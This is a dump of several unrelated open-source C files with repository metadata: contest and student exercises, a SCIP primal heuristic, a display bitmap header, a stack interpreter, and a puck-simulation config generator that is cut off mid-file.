カード数(NR_CARDS),シャッフル回数(NR_SHUFFLE) ,選択カード番号(CARD_NO) の読み込み */ fgets((char *)str_line, BUFFER_SIZE ,fp); get_data(str_line,3); NR_CARDS = data[0]; NR_SHUFFLE = data[1]; CARD_NO = data[2]; #ifdef DEBUG_OUT printf("NR_CARDS = %d\n",NR_CARDS); printf("NR_SHUFFLE = %d\n",NR_SHUFFLE); printf("CARD_NO = %d\n",CARD_NO); #endif /* カード配列の作成 */ for(i=1;i<=NR_CARDS;i++) { card_array[0][i] = i; card_array[1][i] = i; } while(NR_SHUFFLE>0) { /* シャッフル(カット処理) */ fgets((char *)str_line, BUFFER_SIZE ,fp); get_data(str_line,2); cut_start_no = data[0]; nr_cut = data[1]; #ifdef DEBUG_OUT printf("cut_start_no = %d\n",cut_start_no); printf("nr_cut = %d\n",nr_cut); #endif new_card_no = 1; if(new_card_no <= NR_CARDS) { /* カット分のカード束が新しい山の先頭に来る。 */ for(i=cut_start_no; i<(cut_start_no + nr_cut); i++) { card_array[new_card_array][new_card_no++] = card_array[current_card_array][i]; } } if(new_card_no <= NR_CARDS) { /* 次に、カット分の前のカード束が来る。 */ for(i=1;i<cut_start_no;i++) { card_array[new_card_array][new_card_no++] = card_array[current_card_array][i]; } } if(new_card_no <= NR_CARDS) { /* 次に、カット分の後のカード束が来る。 */ for(i=(cut_start_no + nr_cut);i<=NR_CARDS;i++) { card_array[new_card_array][new_card_no++] = card_array[current_card_array][i]; } } #ifdef DEBUG_OUT disp_cards(new_card_array); #endif /* この時点での指定カードの番号 */ answer = card_array[new_card_array][CARD_NO]; /* カード山の変更 */ if(current_card_array==0){ current_card_array=1; new_card_array=0; } else { current_card_array=0; new_card_array=1; } /* 次のシャッフルへ */ NR_SHUFFLE--; } /* 解答表示 */ printf("Case #%d: %d\n",test_case_no,answer); /* 次のテストケースへ。 */ test_case_no++; } /* 終了処理 */ fclose(fp); return 0; } /* テストケースをdata配列に読み込む */ int get_data(char *str, int count) { int i; int strp=0; int bufp=0; char num_str[BUFFER_SIZE]; for(i=0;i<count;i++){ while( (str[strp]!=' ') && (str[strp]!='\0') && (str[strp]!='\n') ){ num_str[bufp] = str[strp]; strp++; bufp++; } num_str[bufp] = '\0'; data[i] = atoi(num_str); strp++; bufp=0; } return 0; } /* カード配列表示 */ void disp_cards(int card_array_no) { int i; for(i=1;i<=NR_CARDS;i++) { printf("%d ",card_array[card_array_no][i]); } printf("\n"); }
b7f6c8703d4015a7649d7a76f9b2a7590d1e8b55
cf94afcc34f12d961ffb8f55cd70042eecbc7581
/Function/fun13.c
4a5b72c9b5aaab6ff8bc0a2d03231c1b390b35b3
[]
no_license
YongCloud/CLanguage
5ea354096415315d4a4c988f0e3a3788560b1774
8c029b1608afd958a2fdd11a0f77a37aab551099
refs/heads/master
2020-05-25T15:41:55.378271
2019-11-27T06:00:53
2019-11-27T06:00:53
69,083,603
1
0
null
null
null
null
UTF-8
C
false
false
458
c
fun13.c
/* created by yangyong,Nov 26,2016 function:编写函数,通过指针求字符串的长度。 */ #include <stdio.h> // 求字符串的长度 int string_length(char *str){ int length = 0; while(*str != '\0'){ length++; str++; } return length; } // test case int main(int argc, char const *argv[]){ char str[30]; printf("please input a string:\n"); scanf("%s",str); printf("the length of the string is :%d",string_length(str)); return 0; }
d7415faef72df8b638df797786fd24c2e8e54b19
ed98b77f3f09b392e68a0d59c48eec299e883bb9
/applications/CycleClustering/src/heur_fuzzyround.c
aeb86deced56f31e1c0d4836148e31b74a20ca79
[ "Apache-2.0" ]
permissive
scipopt/scip
c8ddbe7cdec0a3af5a230c04b74b76ffacbdcc33
dc856a4c966ea50bd5f52c58d7be4fea33706f4c
refs/heads/master
2023-08-19T11:39:12.578790
2023-08-15T20:05:58
2023-08-15T20:05:58
342,522,859
262
46
NOASSERTION
2023-08-03T07:37:45
2021-02-26T09:16:17
C
UTF-8
C
false
false
6,150
c
heur_fuzzyround.c
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* */ /* This file is part of the program and library */ /* SCIP --- Solving Constraint Integer Programs */ /* */ /* Copyright (c) 2002-2023 Zuse Institute Berlin (ZIB) */ /* */ /* Licensed under the Apache License, Version 2.0 (the "License"); */ /* you may not use this file except in compliance with the License. */ /* You may obtain a copy of the License at */ /* */ /* http://www.apache.org/licenses/LICENSE-2.0 */ /* */ /* Unless required by applicable law or agreed to in writing, software */ /* distributed under the License is distributed on an "AS IS" BASIS, */ /* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ /* See the License for the specific language governing permissions and */ /* limitations under the License. */ /* */ /* You should have received a copy of the Apache-2.0 license */ /* along with SCIP; see the file LICENSE. If not visit scipopt.org. */ /* */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /**@file heur_fuzzyround.c * @brief primal heuristic that constructs a feasible solution from the lp-relaxation. Round only on the state-variables (binvars) * and then reconstruct the rest of the variables accordingly. * @author Leon Eifler */ /*---+----1----+----2----+----3----+----4----+----5----+----6----+----7----+----8----+----9----+----0----+----1----+----2*/ #include <assert.h> #include <string.h> #include "heur_fuzzyround.h" #include "probdata_cyc.h" #include "scip/cons_and.h" #define HEUR_NAME "fuzzyround" #define HEUR_DESC "primal heuristic that constructs a feasible solution from the lp-relaxation" #define HEUR_DISPCHAR '&' #define HEUR_PRIORITY 1000 #define HEUR_FREQ 1 #define HEUR_FREQOFS 0 #define HEUR_MAXDEPTH -1 #define HEUR_TIMING SCIP_HEURTIMING_AFTERNODE #define HEUR_USESSUBSCIP FALSE /**< does the heuristic use a secondary SCIP instance? */ /* * Local methods */ /** execution method of primal heuristic */ static SCIP_DECL_HEUREXEC(heurExecFuzzyround) { /*lint --e{715}*/ SCIP_VAR*** binvars; SCIP_SOL* sol; SCIP_Real** clustering; SCIP_Real maxlpval; SCIP_Bool feasible = FALSE; int* binsincluster; int nbins; int ncluster; int i; int k; int maxcluster; assert(heur != NULL); assert(strcmp(SCIPheurGetName(heur), HEUR_NAME) == 0); assert(scip != NULL); assert(result != NULL); *result = SCIP_DIDNOTRUN; /* only call heuristic, if an optimal LP solution is at hand */ if( SCIPgetLPSolstat(scip) != SCIP_LPSOLSTAT_OPTIMAL ) return SCIP_OKAY; /* only call separator, if there are fractional variables */ if( SCIPgetNLPBranchCands(scip) == 0 ) return SCIP_OKAY; nbins = SCIPcycGetNBins(scip); ncluster = SCIPcycGetNCluster(scip); assert(nbins > 0); assert(ncluster > 0 && ncluster <= nbins); binvars = SCIPcycGetBinvars(scip); assert(binvars != NULL); /* allocate memory */ SCIP_CALL( SCIPallocClearBufferArray(scip, &clustering , nbins) ); SCIP_CALL( SCIPallocClearBufferArray(scip, &binsincluster, ncluster) ); for( i = 0; i < nbins; ++i ) { SCIP_CALL( SCIPallocClearBufferArray(scip, &clustering[i], ncluster) ); /*lint !e866*/ } /* for each bin, set the assignment with the highest lp-value to 1, the rest to 0 */ for( i = 0; i < nbins; ++i ) { assert(NULL != binvars[i]); maxlpval = 0; maxcluster = -1; for (k = 0; k < ncluster; ++k) { assert(NULL != binvars[i][k]); if( SCIPisGT(scip, SCIPvarGetLPSol(binvars[i][k]), maxlpval) ) { maxlpval = SCIPvarGetLPSol(binvars[i][k]); maxcluster = k; binsincluster[k]++; } else if( SCIPisEQ(scip, SCIPvarGetLPSol(binvars[i][k]), maxlpval) && maxcluster != -1 && binsincluster[maxcluster] > binsincluster[k] ) { binsincluster[maxcluster]--; binsincluster[k]++; maxcluster = k; } } assert(maxcluster >= 0); clustering[i][maxcluster] = 1.0; } assert(isPartition(scip, clustering, nbins, ncluster)); SCIP_CALL( SCIPcreateSol(scip, &sol, heur) ); SCIP_CALL( assignVars(scip, sol, clustering, nbins, ncluster) ); SCIP_CALL( SCIPtrySolFree(scip, &sol, FALSE, TRUE, TRUE, TRUE, TRUE, &feasible) ); if( feasible ) *result = SCIP_FOUNDSOL; else *result = SCIP_DIDNOTFIND; /* free allocated memory */ for( i = 0; i < nbins; ++i ) { SCIPfreeBufferArray(scip, &clustering[i]); } SCIPfreeBufferArray(scip, &clustering); SCIPfreeBufferArray(scip, &binsincluster); return SCIP_OKAY; } /* * primal heuristic specific interface methods */ /** creates the oneopt primal heuristic and includes it in SCIP */ SCIP_RETCODE SCIPincludeHeurFuzzyround( SCIP* scip /**< SCIP data structure */ ) { SCIP_HEUR* heur; /* include primal heuristic */ SCIP_CALL( SCIPincludeHeurBasic(scip, &heur, HEUR_NAME, HEUR_DESC, HEUR_DISPCHAR, HEUR_PRIORITY, HEUR_FREQ, HEUR_FREQOFS, HEUR_MAXDEPTH, HEUR_TIMING, HEUR_USESSUBSCIP, heurExecFuzzyround, NULL) ); assert(heur != NULL); return SCIP_OKAY; }
acb20e52af78a835aa72eda73aee373b073fadca
2e57c6ea9298c8a095f29dd693eb8c5ac5f7a0be
/opendps/cv.h
66c05d2809aa13f6f30b298f7cc090060ceb89b2
[ "MIT" ]
permissive
geekbozu/opendps
62f049924cffae3caa95faf2e1fb9083a2cc934c
1da1c1f8eab3db899b42696d3ccb18ea233ee3d4
refs/heads/master
2021-05-08T03:53:55.804595
2018-11-11T22:49:33
2018-11-11T22:49:33
108,345,092
1
1
MIT
2018-12-15T21:32:09
2017-10-26T01:17:13
C
UTF-8
C
false
false
3,008
h
cv.h
const uint8_t cv[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc3, 0x31, 0xa6, 0x18, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x04, 0xc6, 0x58, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xbd, 0xf7, 0x84, 0x30, 0xff, 0xff, 0x21, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x04, 0xff, 0xff, 0x7b, 0xcf, 0x00, 0x00, 0xde, 0xfb, 0xf7, 0xbe, 0x63, 0x2c, 0x29, 0x65, 0x52, 0x8a, 0x73, 0xce, 0x52, 0xaa, 0xff, 0xff, 0x4a, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x69, 0xff, 0xff, 0x42, 0x28, 0x52, 0x8a, 0xff, 0xff, 0x63, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x04, 0xff, 0xff, 0x7b, 0xcf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7b, 0xcf, 0xff, 0xff, 0x10, 0x82, 0xad, 0x55, 0xf7, 0xde, 0x10, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe7, 0x5c, 0xad, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xad, 0x75, 0xde, 0xfb, 0x00, 0x00, 0xce, 0x59, 0xd6, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xad, 0x95, 0xdf, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdf, 0x1b, 0xa5, 0x34, 0x00, 0x00, 0xe7, 0x3c, 0xc6, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xae, 0xff, 0xff, 0x18, 0xc3, 0x00, 0x00, 0x18, 0xc3, 0xff, 0xff, 0x63, 0x2c, 0x00, 0x00, 0xf7, 0xde, 0xb5, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xa6, 0xff, 0xff, 0x52, 0xaa, 0x00, 0x00, 0x52, 0xaa, 0xff, 0xff, 0x29, 0x45, 0x00, 0x00, 0xe7, 0x3c, 0xc6, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xef, 0x9d, 0x94, 0xb2, 0x00, 0x00, 0x94, 0xb2, 0xe7, 0x3c, 0x00, 0x00, 0x00, 0x00, 0xce, 0x79, 0xde, 0xfb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xad, 0x75, 0xce, 0x99, 0x00, 0x00, 0xce, 0x99, 0x9d, 0x13, 0x00, 0x00, 0x00, 0x00, 0xa5, 0x54, 0xff, 0xff, 0x18, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x4d, 0xff, 0xff, 0x29, 0x65, 0xff, 0xff, 0x5a, 0xeb, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x49, 0xff, 0xff, 0x7c, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x24, 0xff, 0xff, 0xb5, 0x96, 0xf7, 0xde, 0x10, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0x99, 0xf7, 0xde, 0x7b, 0xef, 0x31, 0xa6, 0x42, 0x48, 0x8c, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6, 0xba, 0xff, 0xff, 0xc6, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x82, 0xb5, 0xd6, 0xf7, 0xde, 0xff, 0xff, 0xff, 0xff, 0xce, 0x79, 0x08, 0x41, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x51, 0xff, 0xff, 0x7b, 0xef, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x61, 0x31, 0xc6, 0x18, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #define cv_width 16 #define cv_height 15
c7839e64557942d32f7138f0dd8c587410fbe2d4
03baab9c1a091312897cf0679bdaf4d5793a000a
/stack_command.c
ffced1bbf9a5116bd61a12ce4a26bdcd7fa52e9a
[]
no_license
emmanavarro/monty
920446ade0458d010bcf0d6d7fe06529e27f4f6c
53f1c538238c1b386e3d52b5ff8361975540a0f6
refs/heads/master
2022-07-11T05:34:44.938380
2020-05-15T03:58:42
2020-05-15T03:58:42
null
0
0
null
null
null
null
UTF-8
C
false
false
2,116
c
stack_command.c
#include "monty.h" int number; /** * _push_stack - push a node to a list. *Description: Function that push a new node at the beginning of stack_t stack * @top: element at the top of the stack (head) * @line_number: constant int value in the structure * Return: void **/ void _push_stack(stack_t **top, unsigned int line_number) { stack_t *new; (void) line_number; new = malloc(sizeof(stack_t)); if (new == NULL) malloc_error(); new->n = number; new->prev = NULL; if (*top == NULL) { new->next = NULL; *top = new; } else { new->next = *top; (*top)->prev = new; *top = new; } } /** * _pall_stack - print elements in stack. * Description: Function that print the elements of a stack * @top: element at the top of the stack (head) * @line_number: constant int value in the structure * Return: void **/ void _pall_stack(stack_t **top, unsigned int line_number) { stack_t *tmp = *top; (void)line_number; while (tmp != NULL) { printf("%d\n", tmp->n); tmp = tmp->next; } } /** * _free_stack - free list. * Description: Function that frees a dlist_t list * @top: top of the stack (head) * Return: void **/ void _free_stack(stack_t *top) { stack_t *temp; if (top == NULL) return; while (top != NULL) { temp = top; top = top->next; free(temp); } free(top); } /** * _pint_stack - print top value. * Description: Function that print the value at the top of stack * @top: element at the top of the stack (head) * @line_number: constant int value in the structure * Return: void **/ void _pint_stack(stack_t **top, unsigned int line_number) { stack_t *tmp = *top; if (tmp != NULL) printf("%d\n", tmp->n); else pint_error(line_number); } /** * _pop_stack - delete top value of stack. * Description: Function that pop the value at top of stack * @top: element at the top of the stack (head) * @line_number: constant int value in the structure * Return: void **/ void _pop_stack(stack_t **top, unsigned int line_number) { stack_t *tmp; tmp = *top; if (*top == NULL) pop_error(line_number); tmp = tmp->next; free(*top); *top = tmp; }
01b9e2b87f2b2a052a0c116ce9809f4869d6cc18
5989ccc567d6ec99483e9af659ae56a0ab9ad781
/Rocket/Pods/Headers/Private/MTGLDebug/MTGLDebugQueue_iOS_Bridge.h
1cbae413e45957a864f1007b7240c0027554c299
[]
no_license
SkateLiu/rocketfast
9e3574cbc29697dd0f24973df3e5940a1715cdc1
66a8946f0142ef667641f8253d79954bd1485f1e
refs/heads/master
2022-03-24T19:58:14.579285
2019-12-17T01:47:56
2019-12-17T01:47:56
null
0
0
null
null
null
null
UTF-8
C
false
false
61
h
MTGLDebugQueue_iOS_Bridge.h
../../../MTGLDebug/MTGLDebug/Core/MTGLDebugQueue_iOS_Bridge.h
f19c9469f23c924e78ceb059f193377f35f6c7c5
cdf294273415ccc0ef50134210ff6dacf637ca96
/srcs/ft_intlen.c
ab311a735b30e2d8388cfa669917de59a02f1711
[]
no_license
ZaineMinhas/ft_printf
af461d1cc322946429320bbbc775ea7fd889dbe7
5acd9e0732b5409a1134301e140836f4d91824ac
refs/heads/master
2023-03-12T10:11:24.684787
2021-02-25T15:07:04
2021-02-25T15:07:04
317,250,158
0
0
null
null
null
null
UTF-8
C
false
false
1,126
c
ft_intlen.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_intlen.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: zminhas <zminhas@student.s19.be> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/12/01 17:03:36 by zminhas #+# #+# */ /* Updated: 2021/01/25 17:15:36 by zminhas ### ########.fr */ /* */ /* ************************************************************************** */ #include "../ft_printf.h" int ft_intlen(int n) { int len; len = (n < 0) ? 1 : 0; while (n /= 10) len++; return (++len); } int ft_intlen_ui(unsigned int n) { int len; len = 0; while (n /= 10) len++; return (++len); }
9f0dcbc9325a4b01aa6ace4b467d57469187b3ec
174af9f7ceef2d99942b864bb317cd7cc98dac17
/Lista/LESF.c
db2b0c68ba17607d54a8e101b3b274c2d7043e10
[]
no_license
GustavoNovaess/Algoritmos-em-C
3955ff9a7c4d11f5bc63abe902662b3d3fa31347
dce295128716c4d0d5b997f6fb959cb213529a77
refs/heads/main
2023-04-16T10:09:02.646547
2021-05-03T14:29:52
2021-05-03T14:29:52
363,954,001
0
0
null
null
null
null
UTF-8
C
false
false
2,269
c
LESF.c
#include <stdio.h> #include <stdlib.h> #include <math.h> struct Lista { float *info; int tamanho,quantidade; }; void criarlista(struct Lista*, int); void inserir(struct Lista*, float); void mostrar(struct Lista); void remover(struct Lista*, float); int repetido(struct Lista*, float); int main(void) { int n; float a; char command; struct Lista L; scanf("%d", &n); criarlista(&L, n); while( scanf("\n%c", &command) != EOF) { if ( command == 'I') { scanf("%f", &a); inserir(&L,a); } else if ( command == 'R') { scanf("%f", &a); remover(&L,a); } else if ( command == 'B') { scanf("%f", &a); printf("%s\n", repetido(&L,a)?"SIM":"NAO"); } else if (command == 'M') { mostrar(L); } } return 0; } void criarlista(struct Lista *L, int n) { L->tamanho = n; L->quantidade = 0; L->info = (float*)malloc(n*sizeof(float)); } void inserir(struct Lista *L, float a) { int i = 0, j, r; r = repetido( L,a); if ( L->quantidade != L->tamanho && r == 0) { while (i < L->quantidade && a > L->info[i]) { i++; } for ( j = L->quantidade ; j > i ; j-- ) { L->info[j] = L->info [j-1]; } L->info[i] = a; L->quantidade = L->quantidade + 1; } } void mostrar(struct Lista L) { int i; for (i = 0; i < L.quantidade; i++) { if (L.info[i] == round(L.info[i]) ) { printf("%.0f%s", L.info[i], (i < L.quantidade - 1?" ":"\n")); } else { printf("%.1f%s", L.info[i], (i < L.quantidade - 1?" ":"\n")); } } } int repetido (struct Lista *L, float a) { int i; for (i = 0 ; i < L->quantidade; i ++) { if (L->info[i] == a) { return 1; } } return 0; } void remover(struct Lista *L, float a) { int i = 0, j; while(i < L->quantidade && L->info[i] != a) { i++; } if (L->info [i] == a) { for(j = i ; j < L->quantidade - 1 ; j ++) { L->info[j] = L->info[j+1]; } L->quantidade = L->quantidade - 1; } }
fe12d87e3ce8fd753bdf03ebd5a6a70a922594fc
fe1b9f0c4a3afd7473b9792bb9a9e038458fe0b0
/Inc/UART_Protocol.h
b2a8e7c49f6183287b76d66a271b882ca96ac976
[ "MIT" ]
permissive
IlyaLagutskiy/PMT_OutputCascade
a58c9fb7faefeb8389ad256d0687235c450d789c
478ae0d19662bac129f8bd36198dd7530e889fbb
refs/heads/master
2020-05-04T15:20:33.462098
2019-04-07T17:02:20
2019-04-07T17:02:20
179,236,342
0
0
null
null
null
null
WINDOWS-1251
C
false
false
1,001
h
UART_Protocol.h
/* * UART_Protocol.h * * Created on: 2 апр. 2019 г. * Author: ilyal */ #ifndef UART_PROTOCOL_H_ #define UART_PROTOCOL_H_ #include "Control_Protocols.h" #include <string.h> #include <stdlib.h> #define Main_Addr 0x00 #define CH1_Addr 0x11 #define CH2_Addr 0x22 #define CH3_Addr 0x33 #define CH4_Addr 0x44 #define Cool_Addr 0x55 #define Command_START 0xFF #define Command_STOP 0x00 #define Command_CHANGE 0x11 #define Command_PAUSE 0x10 #define Command_RESUME 0xF0 #define Command_STATE 0x22 void UART_Send(uint8_t Address, uint8_t Command, uint8_t* Params, uint8_t ParamsLength); void UART_Receive(uint8_t* Command); void Concat(uint8_t** Tx, uint8_t* Address, uint8_t* Data); void START_PW(uint8_t* out, uint8_t Frequency, uint8_t Amplitude); void START_PR(uint8_t* in, uint8_t* Frequency, uint8_t* Amplitude); struct TxStruct { uint8_t Address; uint8_t* Data; }; typedef struct TxStruct TxStruct; #endif /* UART_PROTOCOL_H_ */
9f643effbc7fbf21c77ab6f2df9f5b2a89cf1ba1
84bdefd7172409f1e604dc9a78e122b02baa9c58
/src/ft_isascii.c
74e2e65d0a70b9963bce45cc7e2e7e1bf238dce3
[]
no_license
Adgeff/libft
4c46911b5b2548c09e2148188d6271965d949c15
b57c88011b2ab0806204b094aaee135d711a970e
refs/heads/master
2019-07-06T19:43:18.839037
2017-12-15T22:23:26
2017-12-15T22:23:26
68,721,696
1
0
null
null
null
null
UTF-8
C
false
false
948
c
ft_isascii.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_isascii.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: geargenc <geargenc@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/11/19 19:07:42 by geargenc #+# #+# */ /* Updated: 2017/11/19 19:07:46 by geargenc ### ########.fr */ /* */ /* ************************************************************************** */ int ft_isascii(int c) { return (c >= 0 && c <= 127); }
de57ce52e07d99e115da6486c34715987d532293
f48c4d0767622792e2c6cf2210ae398d74009ef3
/historical implementations/TWOS/TWOS Source Code/tape-contents/twcur/applications/pucks/cfgen/cg.c
ca14e362bf949760deb8623b5857d619d300be03
[ "MIT" ]
permissive
rebcabin/colliding-pucks
cedeeb86cb6f69322471e85eea59b09b98a710c0
14661d4411fb5a25d52df43f21badd9895d53301
refs/heads/master
2020-03-23T16:42:56.499149
2018-08-08T17:06:07
2018-08-08T17:06:07
141,824,559
7
0
null
null
null
null
UTF-8
C
false
false
24,318
c
cg.c
#include <stdio.h> #include <math.h> #include "prdefs.h" #define FALSE 0 #define TRUE 1 #define new_cushions #define MAX_INT 0x7fffffff /* a max and min val for xdot and ydot need to be est. xdot and ydot can be pos or neg. create pucks structs using number of pucks and malloc each rn is tested against all prev pucks created Once 2 ok rns are gen'ed, the puck is sent its evtmsg. */ typedef struct { int x; int y; double xdot; double ydot; } Puck_state; /**********************************************************************/ int nnodes; main ( argc, argv ) int argc; char ** argv ; { register int i, j ; /* input parsing stuff */ char id_string [128]; int interactive; int nsect_x, nsect_y, npucks ; int min_board_x, max_board_x; int min_board_y, max_board_y; /* booleans */ char do_graphics ; char read_puck_states_from_file ; char show_puck_names ; char show_sector_names ; char show_velocity_vectors ; /* an input file name */ char puck_state_file [128] ; /* puck parameters */ int x, y; int rn_ok; int min_x, min_y, max_x, max_y; int x_xmin, x_xmax, y_ymin, y_ymax ; int hit_left, hit_right, hit_up, hit_down; int hit_four ; int xprime, yprime; double xdot, ydot; double diam; float radius; float mass; int int_diam = 0 ; int int_radius = 0 ; int int_mass = 0 ; Puck_state * puck_state_table; double rand_vel (); /* cushion paramenters */ int x1, y1, x2, y2; /* sector parameters */ char sector [32]; int width, height; double sqrt () , dispersion , mean ; unsigned long random () ; register int r ; int even_flag ; if ( argc > 1 ) { if ( strcmp ( argv[1], "-i" ) == 0 ) { interactive = TRUE; } else { interactive = FALSE; } } if ( interactive ) { char junk [128] ; fprintf ( stderr, "number of nodes: "); scanf ( "%d", & nnodes ); fprintf ( stderr, "number of sector rows: "); scanf ( "%d", & nsect_y ); fprintf ( stderr, "number of sector cols: "); scanf ( "%d", & nsect_x ); fprintf ( stderr, "number of pucks: "); scanf ( "%d", & npucks ); fprintf ( stderr, "puck radius: "); scanf ( "%f", & radius ); fprintf ( stderr, "puck mass: "); scanf ( "%f", & mass ); fprintf ( stderr, "min x: "); scanf ( "%d", & min_board_x ); fprintf ( stderr, "max x: "); scanf ( "%d", & max_board_x ); fprintf ( stderr, "min y: "); scanf ( "%d", & min_board_y ); fprintf ( stderr, "max y: "); scanf ( "%d", & max_board_y ); fprintf ( stderr, "do graphics (yes/no)?: "); scanf ( "%s", junk); do_graphics = ( junk[0] == 'y' ) ; if (do_graphics) { fprintf ( stderr, "show puck names (yes/no)?: "); scanf ( "%s", junk); show_puck_names = ( junk[0] == 'y' ) ; fprintf ( stderr, "show sector names (yes/no)?: "); scanf ( "%s", junk); show_sector_names = ( junk[0] == 'y' ) ; fprintf ( stderr, "show velocity vectors (yes/no)?: "); scanf ( "%s", junk); show_velocity_vectors = ( junk[0] == 'y' ) ; } fprintf ( stderr, "read puck states from file (yes/no)?: ") ; scanf ( "%s", junk) ; read_puck_states_from_file = ( junk[0] == 'y' ) ; if ( read_puck_states_from_file ) { fprintf ( stderr, "Enter file name: ") ; scanf ( "%s", puck_state_file ) ; } } else /* non-interactive input */ { char junk [128] ; scanf ( "%s %d", id_string, & nnodes ); if (strcmp(id_string, "number_of_nodes")!=0) { fprintf (stderr, "string \"number_of_nodes\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & nsect_y ); if (strcmp(id_string, "number_of_sector_rows")!=0) { fprintf (stderr, "string \"number_of_sector_rows\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & nsect_x); if (strcmp(id_string, "number_of_sector_cols")!=0) { fprintf (stderr, "string \"number_of_sector_cols\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & npucks ); if (strcmp(id_string, "number_of_pucks")!=0) { fprintf (stderr, "string \"number_of_pucks\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %f", id_string, & radius ); if (strcmp(id_string, "puck_radius")!=0) { fprintf (stderr, "string \"puck_radius\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %f", id_string, & mass ); if (strcmp(id_string, "puck_mass")!=0) { fprintf (stderr, "string \"puck_mass\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & min_board_x ); if (strcmp(id_string, "min_x")!=0) { fprintf (stderr, "string \"min_x\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & max_board_x ); if (strcmp(id_string, "max_x")!=0) { fprintf (stderr, "string \"max_x\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & min_board_y ); if (strcmp(id_string, "min_y")!=0) { fprintf (stderr, "string \"min_y\" expected: exiting\n"); exit (-1) ; } scanf ( "%s %d", id_string, & max_board_y ); if (strcmp(id_string, "max_y")!=0) { fprintf (stderr, "string \"max_y\" expected: exiting\n"); exit (-1) ; } scanf ("%s %s", id_string, junk) ; if (strcmp(id_string, "do_graphics?") != 0) { fprintf (stderr, "string \"do_graphics?\" expected: exiting\n"); exit (-1) ; } do_graphics = junk[0] == 'y' ; scanf ("%s %s", id_string, junk) ; if (strcmp(id_string, "show_puck_names?") != 0) { fprintf (stderr, "string \"show_puck_names?\" expected: exiting\n"); exit (-1) ; } show_puck_names = junk[0] == 'y' ; scanf ("%s %s", id_string, junk) ; if (strcmp(id_string, "show_sector_names?") != 0) { fprintf (stderr, "string \"show_sector_names?\" expected: exiting\n"); exit (-1) ; } show_sector_names = junk[0] == 'y' ; scanf ("%s %s", id_string, junk) ; if (strcmp(id_string, "show_velocity_vectors?") != 0) { fprintf (stderr, "string \"show_velocity_vectors?\" expected: exiting\n"); exit (-1) ; } show_velocity_vectors = junk[0] == 'y' ; scanf ("%s %s", id_string, junk) ; if (strcmp(id_string, "read_puck_states_from_file?") != 0) { fprintf (stderr, "string \"read_puck_states_from_file?\" expected: exiting\n"); exit (-1) ; } read_puck_states_from_file = ( junk[0] == 'y' ) ; scanf ("%s %s", id_string, puck_state_file) ; if (strcmp(id_string, "file_name") != 0) { fprintf (stderr, "string \"file_name\" expected: exiting\n"); exit (-1) ; } } /*???PJH if ( nsect_x != nsect_y ) { fprintf (stderr, "number of sector rows must = number of cols \n" ); fprintf (stderr, "so that the neighbor-preserving map from\n") ; fprintf (stderr, "table to hypercube will work easily.\n") ; exit ( -1 ); } */ switch ( nsect_x ) { case 2: case 4: case 8: case 16: case 32: case 64: case 48: break; /*???PJH default: { fprintf (stderr, "num sects must be 2, 4, 8, 